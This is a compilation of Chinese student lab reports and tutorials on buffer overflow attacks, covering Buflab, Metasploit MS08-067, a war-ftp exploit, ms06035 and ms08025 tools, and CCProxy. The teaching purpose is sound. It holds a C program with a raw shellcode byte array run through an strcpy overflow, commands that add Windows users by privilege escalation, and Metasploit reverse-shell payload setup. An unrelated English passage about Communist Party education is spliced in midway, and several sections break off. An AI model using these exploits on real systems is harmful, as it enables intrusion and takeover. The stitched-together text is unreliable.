实验4 缓冲区溢出攻击实验
缓冲区溢出攻击实验
HUNAN UNIVERSITY课程实验报告题目: Buflab-handout学生姓名学生学号专业班级计科1403(一)实验环境联想ThinkPadE540 VM虚拟机ubuntu32位操作系统(二)实验准备1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。
bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。
要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。
从给的PDF文件中我们得知getbuf函数为:/ /Buffer size for getbuf#define NORMAL_BUFFER_SIZE 32int getbuf(){char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1;}这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。
2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。
Makecookie是产生一个userid。
输入的相应的用户名产生相应的cookie值。
**我产生的cookie值为0x5eb52e1c,如下图所示:Level0:实验要求:从英文的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrelated to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿)Test源码:void test(){int val;// Put canary on stack to detect possible corruptionvolatile int local = uniqueval();val = getbuf();// Check for corrupted stackif (local != uniqueval()) {printf("Sabotaged!: the stack has been corrupted\n");}else if (val == cookie) {printf("Boom!: getbuf returned 0x%x\n", val);validate(3);} else {printf("Dud: getbuf returned 0x%x\n", val);}}smoke源码:void smoke(){printf("Smoke!: You called smoke()\n");validate(0);exit(0);}对bufbomb函数进行反汇编并获取getbuf函数的反汇编代码:从上面的汇编代码中我们可以得知,lea指令把buf的指针地址(-0x28(%ebp))传给了Gets()。
山东大学信息安全实验报告
山东大学软件学院信息安全导论课程实验报告学号:201300301385 姓名:周强班级: 2013级八班实验题目:缓冲区溢出实验实验学时:日期:实验目的:(1)了解缓冲区溢出的原理(2)利用缓冲区溢出现象构造攻击场景(3)进一步思考如何防范基于缓冲区溢出的攻击硬件环境:软件环境:WindowsXP操作系统VS2008实验步骤与内容:(1)了解缓冲区溢出的原理缓冲区溢出简单来说就是计算机对接收的输入数据没有进行有效的检测(理情况下是程序检测数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。
看一个代码实例,程序如下:void function(char *str) {char buffer[16];strcpy(buffer,str);}上面的strcpy()将直接把str中的内容copy到buffer中。
这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。
(2)利用缓冲区溢出现象构造攻击场景首先打开Microsoft Visual C++,新建工程和cpp文件,复制实验指导书的代码进行编译连接:单击运行按钮,然后第1次输入“zhouqianga”,第2次输入2个“ga”,即可看到输出“correct”。
按F10开始进行逐步调试:当第一次执行gets()函数之前,内存情况如下图所示在最新的版本中gets被认为是不安全的,gets从标准输入设备读字符串函数。
可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。
现在都被要求改为get_s。
来防止溢出。
如下图所示。
(3)学习例子程序2:数据被执行在xp系统下,直接运行Exploit-1.1.exe,如下图所示:但是在计算器下输入数字后,将计算器关闭,会出现如下对话框:当程序返回时,改变了程序入口地址,让其跳转并且执行cmd.exe calc.exe两个程序(打开计算器)并执行abc.bat批处理程序。
缓冲区溢出攻击与防范实验报告
实验六报告如图2所示的Windows 2000系统(虚拟机环境下)的计算机。
显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console,即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。
namap扫描的结果里报告发现MS08-067:DISABLED。
这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。
MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC 请求,则该漏洞可能允许远程执行代码。
在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。
网络攻击与防范实验报告-缓冲区溢出
网络攻击与防范实验报告姓名:____王小北___ 学号:___ 201411111111111111 _ 所在班级:实验名称:缓冲区溢出实验日期:2014年11月7日指导老师:实验评分:验收评语:实验目的:1.掌握缓冲区溢出的原理2.掌握常用的缓冲区溢出方法3.理解缓冲区溢出的危害性4.掌握防范和避免缓冲区溢出攻击的方法实验工具:溢出对象:war-ftp 1.65 ( 自己分析)调试工具:Debugging Tools for Windows 中(网上有下载)实验环境:虚拟机vmware workstation 10 Windows XP sp1高级语言编程:Socket编程VS2010实验步骤:原理:war-ftp 1.65版本的一个漏洞,即向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后ESP内容包含了longString中的部分内容。
过程:攻击者向war-ftp发送多余480字节的用户名,触发war-ftpd的漏洞,产生缓冲区溢出,此时war-ftpd将出现错误。
接下来通过PatterntTool工具构造的一串不重复字符串(1000个不同字符串,存入test.txt中),通过其时eip的内容,利用patternoffset.pl工具来确定RET的位置。
在网上寻找一段具有攻击效果的Shellcode,作为所发送的war-ftpd用户名。
其最主要是通过上边所确定的RET的位置,将“JMP ESP”指令的地址(0x7ffa4512)传递到RET 位置,最终目的是将指令指针转移到esp的位置。
同时我们可以通过确定esp的位置,从而在构造字符串时直接将shellcode代码加在在用户名上,使其能直接被放入esp所指的位置,即达到将其放入esp指向的缓冲区的目的。
通过发送构造的用户名,导致war-ftpd发生缓冲区溢出。
Shellcode的功能是建立一个新用户hack,可以用过net user命令来查看用户,最后发现攻击成功。
信息安全实验-缓冲区溢出-蒋智超
缓冲区溢出一、实验目的掌握缓冲区溢出攻击的现象掌握使用缓冲区溢出工具的方法二、实验步骤一.利用ms06035漏洞进行攻击1.进入“ms06035漏洞利用工具”目录主机A单击工具栏中“ms06035工具”按钮,进入“ms06035漏洞利用工具”工作目录。
2.查看当前目录内容主机A用dir命令查看当前目录中的内容,如下图所示:图4-1-1 工具目录中的内容上图中标注的“ms06035.exe”即为ms06035漏洞利用工具。
3.使用“ms06035工具”进行攻击主机A执行“ms06035.exe 主机B的ip 445”命令,发起对主机B的攻击。
4.主机B观察被攻击现象主机B被攻击后出现蓝屏死机的现象(实验结束,主机B用虚拟机“快照X”恢复实验环境)。
二.利用ms08025漏洞进行攻击以下步骤两主机互相攻击对方,操作相同,故以主机A为例说明实验步骤。
「注」主机B单击“ms08025工具”按钮,进入实验目录。
将ms08025.exe复制到D盘的根目录下,以便实验下一步进行。
1.telnet登录系统(1)主机A在命令行下使用telnet登录同组主机,当出现“您将要把您的密码信息送到Internet区内的一台远程计算机上,这可能不安全,您还要发送吗(y/n)”当出现此提示时,选择n,输入登录账号“student”,密码“123456”。
登录成功如下图所示。
图4-1-2 telnet登录(2)主机A依次输入“d:”|“dir”查看同组主机D盘根目录,“ms08025.exe”即为实验工具。
图4-1-3 实验工具2.使用系统命令添加用户主机A使用“net user student1 /add”命令来试添加一个用户“student1”,执行该命令,出现“发生系统错误5,拒绝访问”的提示,如下图所示:图4-1-4 使用系统命令添加用户请解释出现上述现象的原因:。
3.查看ms08025工具使用方法主机A在telnet命令行中输入“ms08025.exe”,查看工具的使用方法,如下图所示:图4-1-5 ms08025工具使用方法4.使用ms08025工具添加用户主机A执行“ms08025.exe "net user student1 /add"”命令,提示命令成功完成,证明用户student1成功添加,如下图所示:图4-1-6 使用ms08025工具添加用户5.查看用户信息主机A用命令“net user student1”查看用户student1的信息,发现用户student1创建成功,隶属于Users组。
缓冲区溢出攻击与防范实验报告
缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。
而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。
3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。
缓冲区溢出漏洞实验
缓冲区溢出漏洞实验⼀、实验简介缓冲区溢出是指程序试图向缓冲区写⼊超出预分配固定长度数据的情况。
这⼀漏洞可以被恶意⽤户利⽤来改变程序的流控制,甚⾄执⾏代码的任意⽚段。
这⼀漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
原理详解:缓冲区是内存中存放数据的地⽅。
在程序试图将数据放到机器内存中的某⼀个位置的时候,因为没有⾜够的空间就会发⽣缓冲区溢出。
⽽⼈为的溢出则是有⼀定企图的,攻击者写⼀个超过缓冲区长度的字符串,植⼊到缓冲区,然后再向⼀个有限空间的缓冲区中植⼊超长的字符串,这时可能会出现两个结果:⼀是过长的字符串覆盖了相邻的存储单元,引起程序运⾏失败,严重的可导致系统崩溃;另⼀个结果就是利⽤这种漏洞可以执⾏任意指令,甚⾄可以取得系统root特级权限。
缓冲区是程序运⾏的时候机器内存中的⼀个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。
⼤多时为了不占⽤太多的内存,⼀个有动态分配变量的程序在程序运⾏时才决定给它们分配多少内存。
如果程序在动态分配缓冲区放⼊超长的数据,它就会溢出了。
⼀个缓冲区溢出程序使⽤这个溢出的数据将汇编语⾔代码放到机器的内存⾥,通常是产⽣root权限的地⽅。
仅仅单个的缓冲区溢出并不是问题的根本所在。
但如果溢出送到能够以root权限运⾏命令的区域,⼀旦运⾏这些命令,那可就等于把机器拱⼿相让了。
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从⽽破坏程序的堆栈,进⽽运⾏精⼼准备的指令,以达到攻击的⽬的。
⼆、缓冲区溢出实例1、利⽤数组越界进⾏缓冲区溢出#include<stdio.h>void HelloWord(){printf("Hello World");getchar();}void Fun(){int arr[5] = {1,2,3,4,5};arr[6] = (int) HelloWord;}int main(){Fun();return 0;}2、利⽤strcpy()函数进⾏缓冲区溢出攻击#include "stdafx.h"#include <stdio.h>#include <string.h>char shellcode3[] = "\x68\x72\x6F\x63\x41\x68\x47\x65""\x74\x50\xE8\x41\x00\x00\x00\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F""\x61\x64\xE8\x31\x00\x00\x00\x50\x68\x72\x74\x00\x00\x68\x6D\x73""\x76\x63\x54\xFF\xD0\x83\xC4\x08\x68\x65\x6D\x00\x00\x68\x73\x79""\x73\x74\x54\x50\xFF\x54\x24\x14\x83\xC4\x08\x68\x63\x6D\x64\x00""\x54\xFF\xD0\x83\xC4\x14\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00""\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33""\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B""\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54""\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B""\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C""\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08\x00";#pragma comment(linker, "/section:.data,RWE")void Sub_3(){__asm{mov eax, offset shellcode3jmp eax}}void overflow(const char* input){char buf[8];printf("Virtual address of 'buf' = Ox%p\n", buf);strcpy(buf, input);}void fun(){printf("Function 'fun' has been called without an explicitly invocation.\n");printf("Buffer Overflow attack succeeded!\n");}int main(){printf("Address of 'overflow' = Ox%p\n", overflow);printf("Sddress of 'fun' = Ox%p\n", fun);printf("Sddress of 'Sub3' = Ox%p\n", Sub_3);char input[] = "AAAbbbbbbaaa\xA5\x10\x41\x00";//char input[] = "AAAAAAA";overflow(input);return 0;}3、本次实验⽤的测试代码为:#include <stdio.h>int main(){char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);}⼀般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。
缓冲溢出攻击实验报告
一、实验目的及要求1. 了解缓冲区溢出攻击的原理和类型。
2. 掌握缓冲区溢出攻击的实验方法和步骤。
3. 理解缓冲区溢出攻击的危害性。
4. 学习防范和避免缓冲区溢出攻击的方法。
二、实验环境1. 操作系统:Windows 102. 编程语言:C/C++3. 漏洞利用工具:Metasploit4. 实验环境搭建:使用虚拟机软件(如VMware)搭建实验环境,靶机为Windows 7 SP1,攻击机为Kali Linux。
三、实验内容1. 漏洞分析:分析实验环境中存在的缓冲区溢出漏洞。
2. 攻击实现:利用Metasploit工具对靶机进行攻击,实现远程代码执行。
3. 防御措施:学习防范和避免缓冲区溢出攻击的方法。
四、实验步骤1. 漏洞分析- 使用Ghidra工具对实验环境中的漏洞程序进行反汇编,分析程序中的缓冲区溢出漏洞。
- 发现漏洞程序存在缓冲区溢出漏洞,攻击者可以通过输入超长字符串来覆盖返回地址,从而控制程序的执行流程。
2. 攻击实现- 使用Metasploit工具中的`exploit/multi/handler`模块,设置攻击目标为靶机的IP地址和端口。
- 使用`set payload`命令设置攻击载荷,选择`windows/x64/meterpreter/reverse_tcp`,该载荷可以在攻击成功后与攻击机建立反向连接。
- 使用`set LHOST`命令设置攻击机的IP地址,使用`set LPORT`命令设置端口号。
- 使用`set target`命令设置攻击目标,选择漏洞程序的模块和参数。
- 使用`exploit`命令启动攻击,等待攻击成功。
3. 防御措施- 代码审计:对程序进行代码审计,及时发现并修复缓冲区溢出漏洞。
- 输入验证:对用户输入进行严格的验证,限制输入长度,防止输入超长字符串。
- 边界检查:在代码中添加边界检查,防止缓冲区溢出。
- 安全编程:遵循安全编程规范,使用安全的编程语言和库,避免使用存在漏洞的函数。
缓冲区溢出实验报告
缓冲区溢出报告院系:计算机与通信工程学院班级:信息安全10-02班1.实验目的掌握缓冲区溢出的原理掌握常用的缓冲区溢出方法理解缓冲区溢出的危害性掌握防范和避免缓冲区溢出攻击的方法2.实验工具溢出对象:CCProxy 7.2(1)(2)调试工具:使用Vmware虚拟机,安装CCPROXY7.2进行实验调试。
3.实验步骤了解CCProxy 7.2代理服务器为大家解决了很多问题,比如阻挡黑客攻击和局域网共享上网等。
•国内非常受欢迎的一款代理服务器软件•设置简单,使用方便•不仅支持常见的HTTP和SOCKS代理,而且支持FTP/Telnet等这类不常用的协议及其它协议关于CCProxy6.2缓冲区溢出漏洞说明CCProxy在代理Telnet协议时,可以接受Ping命令Ping命令格式:ping hostname\r\n当hostname的长度大于或者等于1010字节时,CCProxy 6.2会发生缓冲区溢出,导致程序崩溃CCProxy 6.2缓冲区溢出漏洞演示在目标主机运行CCProxy,使用默认设置运行CCProxy的机器IP是192.168.6.132使用telnet命令连接CCProxy:telnet 192.168. 6.132 23返回信息:(如图)输入ping命令,后接畸形数据:在ping命令后接10个字符A(ping AAAAAAAAAA),观察返回信息将字符A的数量变为100个、1000个、2000个,观察返回信息(注:由于本人安装的是7.2版本,其漏洞已修复,故智能识别252个字符,其后被截断,所以当出现的畸形字符长度超过252时,就不再被识别,所以会有“host not found”)原理:如果终端提示“Host not found”,说明CCProxy正确地处理了这个畸形数据,仍工作正常如果终端提示“失去了跟主机的连接”,表明CCProxy已经崩溃CCProxy 6.2缓冲区溢出漏洞利用如何利用这个漏洞,来实现攻击目的,做一些特别的事情。
实验四 恶意代码实验
实验四恶意代码攻防实验【实验目的】通过本实验初步了解远程控制软件的编写方法,了解黑客利用流行的木马软件进行远程监控和攻击的方法,掌握常见工具的基本应用,包括如下几个方面:✓掌握基于Socket的网络编程。
✓了解缓冲区溢出攻击的基本实现方法。
✓了解恶意脚本攻击的基本实现方法。
✓了解网络病毒的基本特性。
实验过程中,学生需要将实验的结果记录下来,并回答相关思考题,填写到实验报告中。
【实验类型】综合型实验【实验内容】以下实验内容可根据实验室的具体情况和课时安排的变化进行适当的调整,实验内容中的思考题以书面形式解答并附在实验报告的后面。
需要注意的是,学生在实验过程中要严格按实验指导书的操作步骤和要求操作,且小组成员应紧密配合,以保证实验过程能够顺利完成。
本次实验的主要项目包括以下几个方面:☑溢出攻击模拟程序的编写、调试;☑跨站恶意脚本的运用;☑网页脚本攻击。
具体的实验内容和步骤如下:【实验环境】实验设备:Windows XP系统,VMWare系统,Windows 2000/XP虚拟机。
一、缓冲区溢出攻击编写简单的溢出攻击程序,编译后分别在实验主机和虚拟机中运行。
1.简单原理示例VC环境下编译以下代码:#include <stdio.h>#include <string.h>char name[]="abcdefghijklmnopqrstuvwxyz";int main() {char buffer[8];strcpy(buffer,name);return 0;}运行编译后的程序,会出现系统下图警告,点击“调试”按钮,根据返回的偏移值可推断出溢出的部位。
2.溢出攻击模拟示例实验需要使用以下工具:●OllyDB●Uedit首先写一个C++程序2.c,源码:#include "iostream.h"int main ( ){char name[8];cout<<"Please type your name: ";cin>>name;cout<<"Hello, ";cout<< name;cout<<"\n";return 0;}赋值一个名为name的字符类型数组(字符串),其内容空间为8个字节,运行程序时首先提示使用者输入你的名字,当输入后将该值吸入给name,然后以“Hello,你的名字\n”的方式输出。
缓冲区溢出实验
实验三:缓冲区溢出实验缓冲区溢出实验实验目的:(1)学会用反汇编调试程序,观察变量、堆栈数据变化情况(2)清楚缓冲区溢出原理(3)进一步思考如何防范基于缓冲区溢出的攻击硬件环境:处理器:Intel(R) Core(TM)i3-2310M CPU @2.10GHZ 2.10GHZ内存:4.00G软件环境:Windows 7Visual Studio C++6.0实验步骤:首先观察老师给的代码,初步了解了代码执行之后会发生的结果,以及所造成的后果。
代码如下:#include <stdio.h>#include <stdlib.h>#include <string.h>main(){char passwd[8] = {"2e4rfe"};char yourpasswd[8] = {""};again:puts("please input passwd?");gets(yourpasswd);if (strcmp(yourpasswd, passwd)==0)goto ok;puts("passwd error");goto again;exit(-2);ok:puts("correct!");// do work you wantgetchar();return 0;}然后利用VC++6.0进行反汇编调试:1.初始状态如下:红色区域为堆栈内容2.password存入堆栈(红色区域)和yourpassword也存入堆栈(红色区域)位于password前面3此时接着往下运行,我们可以发现yourpassword是8位的,我们写入了10位数据qqqqqqqqqq,将产生溢出,qq将溢出,因为password位于yourpassword之后,所以yourpassword溢出的2位数据qq将覆盖password的前两位2e。
阻止缓冲区溢出攻击研究
本 文将 介绍缓 冲 区溢 出攻 击原 理 ,提 供 相应 示例 ,概 述 阻止缓 冲区 溢 出攻 击现 有 的解决 方案 ,并且 详 细分析 作
读 写的 内存 中 。在 有些 情况 下 ,当可 执行 映像 被存 储在 闪
两种 栈 操作 ,即 PUS 一把数 据存 储到 栈顶 。POP从 栈 H
顶 弹 出数 据 。
缓 冲区溢 出发 生在 当一 个程 序 或进程 试 图把 更多 的数
据存储 到一 个缓 冲 区 ,而 且超 出该 缓冲 区设计 的存 储能 力
之 时 。既然 缓冲 区 的创建 是为 了保 存有限 数量 的数 据 , 那 么其 他地 方存储 的信 息有 可能 溢 出到相邻 缓 冲区 ,从 而破
坏 或重 写其 中 的有效数 据 。
塑
P H和P US OP指 令实 际上都 是一 个两 步的过 程:首先 ,
数 据被 放 ( 或者 移去 ) 到堆 栈 的顶 部 ,然 后修 改堆 栈 指针 寄 存器 。当栈 指 针寄 存 器 因指 令 P H 而减 小时 ,堆 栈 US
向 下 增 长 。 另外 ,当 栈上 的数 据 量 减 少 时 ,堆 栈 指 针 寄
可能 上载并 执 行 Wi d ws系统 上 的任意 程序 。 no 为 了满 足 Li ux服 务 器高 级 安全 特 性 的需 要 ,爱 立 n 信公 司在 加拿 大蒙 特利 尔的开 放 系统 实验室 ,建 立 了分布
图 1内存 中的进 程组织
式安 全基 础结 构工 程 ( I DS )来设 计 和开 发一 种安 全基 础 结构一 专 门为运 行 于 L n x服务 器 上 的 电信应 用 软件 提 iu 供高 级安全 机制 。DS 的 目标之 一是 防止 来 自互 联 网和企 I 业 内网的攻 击 入侵 ,包括 缓冲 区溢 出攻 击 、拒绝 服务 攻击
缓冲区溢出攻击原理及防范_XXX
缓冲区溢出攻击原理及防范作者姓名:XXX 班级:计算机网络XXX学号:2200951XXX 指导教师:XXX教授摘要缓冲区简单来说是一块连续的计算机内存区域,可以保存相同数据类型的多个实例, 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
缓冲区溢出是最常见的安全漏洞,针对缓冲区溢出的漏洞进行攻击,是很常见的攻击手段,可以使本地用户获得超级用户权限,也可以使外部攻击者通过网络直接进入系统。
本文详细分析了缓冲区溢出的基本原理,描述了利用缓冲区溢出漏洞进行攻击的基本方式,并通过对一段实例程序的溢出和构建攻击语句直观的演示了缓冲区溢出的形成过程及其攻击原理,最后提出了防范缓冲区溢出的有效措施。
关键词:缓冲区溢出堆栈漏洞AbstractSimply ,buffer is a continuous computer memory area, can keep the same data types of multiple instances, buffer overflow is when computer to the buffer filled with data f igures within the capacity of the buffer itself more than the data covered in legal spill data, the ideal situation is not allowed to check the data length program more than the length of the input buffer characters, but most of the program will be always with the assumption that data length distribution of storage space match, this is the buffer overf low buried hidden trouble. Operating system used by buffer is known as the "stack". I n between each operation process, the instructions will be temporarily stored in the "st ack" of "stack" also can appear buffer overflow. Buffer overrun is the most common s ecurity flaws in the buffer overflow vulnerability to attack, it is very common attack method, can make local users get super user permissions, also can make the external a ttackers through the network directly into the system.This paper analyzes the basic principle of buffer overflow, describes the use of buf fer overrun vulnerabilities to attack the basic way of, and through the example of a pr ogram and the construction of overflow attack statement intuitive demonstrates buffer overflow the forming process and the principle of attack, finally puts forward the cou ntermeasures of buffer overflow effective measures.Keywords:buffer overflow Stack shellcod目录摘要 (1)Abstract (2)绪论 (1)第一章缓冲区溢出基本原理 (2)1.1 栈缓冲区溢出 (2)1.2 HEAP/BSS缓冲区溢出 (4)1.2.1重要性 (4)1.2.2相关概念介绍 (4)1.2.3Heap/BSS溢出攻击 (5)第二章缓冲区溢出攻击 (8)2.1 shellcode基础 (9)2.2 可注入shellcode的编写 (11)2.3 远程缓冲区溢出威胁 (15)第三章缓冲区溢出攻击防御 (17)3.1 给有漏洞的程序打补丁 (17)3.2 编写安全的代码 (17)3.3 静态分析 (17)3.4 动态测试 (17)3.5软件开发过程中的防范策略 (18)3.6 缓冲区溢出攻击的抵御 (23)第四章缓冲区溢出攻击与防御实例设计 (25)4.1 缓冲区溢出攻击实例 (25)总结与展望 (27)致谢 (28)参考文献 (29)绪论随着计算机技术、现代通信技术和网络技术的发展,尤其是Internet的广泛使用,计算机网络与人们的工作和生活的联系越来越密切、越来越深入,同时也使网络系统的安全问题日益复杂和突出。
SEED信息安全实验系列:缓冲区溢出漏洞实验
carried out "practice line pioneer standard, and post spurs" "members concentrated service months", activities, education guide members always everywhere bearing in mind identity, based job post, active play role. To develop differentiated learning education guide party members in accordance with their own situation, target the problems to, based on the work done. Pay attention to the room and room for grass-roots party organizations, grass-roots party organizations have more autonomy in education, making education more ground, full of vitality, good effect. Finally, highlight the normal long-term. To highlight the characteristics of recurrent education, with long flowing, continuous line of perseverance the perseverance to promote educational efforts to realize the party's ideological and political construction of routine institutionalization. With the party branch as the base unit. Play the role of party branches should be, is the key to educational success. Each branch must take strict education and management responsibility of party members, education based on learning to make specific arrangements, fully mobilize the enthusiasm of party members involved in the education, ensure the Organization in place, measures in place, put in place. To the party organization as the basic form. In the standardized development of learning, make learning more effective efforts, and will adhere to the good party group, organized party, party members and the General Assembly, tell a good party lectures, can drive a good topic about, prevent showy without substance, Sham mules. To implement the education management system for basic support. Democratic mutual evaluation on party members in accordance with the regulations, the real performance criteria and order established, sound carefully dispose of unqualified party members, to further improve the dredge export team, pure self cleaning mechanism. Party leading cadres should adhere to and implement the central group learning system, to which branch of learning exchanges, participation in a dual organization with comrades. Focus on recurrent education, you also need to continue to strengthen the building of grass-roots party organizations. Now, the city also has 88 village party organizations are weak and lax, first Secretary of the village, but conversion requires a process. Recently, the city's party organization focused investigation, check out a total of "lost" members 4,507, "Pocket" members 1037, find there are 640 "lost" party members are not contacted 148 "Pocket" party members and implementation of organizational relationships. Educational management of party members into the Organization, there is a lot of work to do. Weak and lax party continued reorganization as an important task, finish perfect organization, with a good team, Good system. Special highlights of grass-roots party organizations, to be dealt with first in place, further education, reorganization, transformation and educational interaction. In short, through solid and effective work initiativesbroken problem, fill the short Board, so that the majority of party members and fully qualified, comprehensive skills of grass-roots party organizations, grass-roots party level upgrade. Comrades, do a "two" learning education is of great significance, responsibilities, carry significant implications. City levels party and general members cadres, to deep awareness "two learn a do" learning education of importance and need, to height of political consciously and full of political enthusiasm, put "two learn a do" learning education carried out good, for coordination advance "four a full" strategy layout, and achieved "Thirteen-Five" good start, and speed up construction more high ecological vitality happiness of City provides strong powerful guarantee. Two, starting from the revered Constitution respected the party Constitution was XI Jinping, General Secretary to the party's request, 18 six plenary session of the Central Commission for discipline inspection report "five experience" first. Full strictly administering the party, first of all, to exalt the party Constitution, and pipe the whole party, the ruling party of the party Constitution. Revered Constitution reflected in awe. Party a party of ideals and beliefs purpose, summed up the party's fine tradition and style; a clear party members and what can be done and what must be done, what cannot be done. Each Communist Party Constitution to awe and wary eye enhancing the sacred sense of responsibility and mission. Hearts filled with party Constitution, hold the party line, BA obligations unconditionally carry out party members, according to the Constitution of direction towards standards efforts. Respect reflected in the study the party Constitution means. Some party members joined the party Constitution on the shelf, not to learn, some long-term party according to the Constitution of the party's organization, the party is not required to pay membership dues, loose concept, party organizations of the party organization, and turned a blind eye on the tasks assigned by the Organization, were forgotten, forgotten vows performance the party Constitution. Constitution is the fundamental standard of our Communists are slim, the party Constitution to repeatedly learn, practice, thinking, learning and thinking, thinking and row, row, ever-spiraling increase in the learning process. Respect party lines reflected in practice. Two to learn a basic Constitution Party rules, series of speeches, the key to be qualified party members. To be qualified party members, standards are not high, but if he does take a ruler of the party Constitution to "card", truly it is not easy. Carry out study and education, every party must control the party's eight obligations, ask, look for gaps, identify problems, clear direction, work to solve specific problems. Actively practicing in the production life of the eight obligations, to play a vanguard and exemplary role, truly a party banner. "Two" fight to highlight grass-roots party organizationssudo sysctl -w kernel.randomize_va_space=0此外,为了进一步防范缓冲区溢出攻击及其它利用shell 程序的攻击,许多shell 程序在被调用时自动放弃它们的特权。
信息安全工程师缓冲区溢出攻击案例题
信息安全工程师缓冲区溢出攻击案例题信息安全工程师缓冲区溢出攻击案例题1. 引言在当今数字化时代,信息安全已经成为了一个日益重要的议题。
随着科技的进步,攻击者也越来越擅长利用软件漏洞进行攻击。
缓冲区溢出攻击是其中一种被广泛应用的攻击方式,它利用了程序在处理输入时对缓冲区大小的控制不足。
本文将以缓冲区溢出攻击为主题,通过案例分析,深入探讨信息安全工程师在预防和应对缓冲区溢出攻击方面的关键技术与实践。
2. 缓冲区溢出攻击的概述缓冲区溢出攻击是指攻击者通过向程序的缓冲区写入超出其分配空间的数据,从而覆盖在其附近的内存区域,改变程序的正常行为或执行任意指令。
在计算机系统中,程序在处理输入数据时,会将其存储在缓冲区中,攻击者通过插入恶意代码来利用这个缺陷。
缓冲区溢出攻击是一种高效、隐蔽且普遍的攻击方式,因此信息安全工程师需要充分了解和掌握防范该攻击的方法。
3. 缓冲区溢出攻击案例分析以某虚拟银行系统为例,该系统中的登录功能存在缓冲区溢出漏洞。
